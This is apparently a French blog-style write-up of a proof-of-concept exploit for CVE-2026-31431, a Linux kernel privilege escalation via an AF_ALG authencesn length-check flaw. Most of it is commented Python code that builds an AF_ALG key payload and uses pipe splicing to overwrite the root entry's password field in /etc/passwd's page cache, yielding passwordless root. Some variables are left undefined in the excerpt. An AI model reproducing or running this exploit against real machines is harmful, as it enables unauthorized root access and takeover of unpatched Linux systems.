
Preuve de concept d'exploitation pour CVE-2026-31431, une élévation de privilèges dans le noyau Linux via le contournement de la vérification de longueur authenc d'AF_ALG, permettant d'obtenir les droits root en modifiant /etc/passwd.
Cette vulnérabilité exploite une erreur dans la vérification de longueur authencesn sous Linux, ce qui provoque l'écriture de pages sales (dirty pages) vers un emplacement auquel l'utilisateur n'a pas accès, entraînant une élévation de privilèges.
Le principe d'attaque s'inspire principalement de ce repo, avec quelques modifications apportées au payload. https://github.com/rootsecdev/cve_2026_31431
Cette image montre le correctif du noyau Linux 6.12.85. Je tracerai ces correctifs plus tard dans le code.
/etc/passwd dans la RAM# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
L'objectif est de changer le mot de passe root dans /etc/passwd en un mot de passe vide (sans passer par la vérification /etc/shadow)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass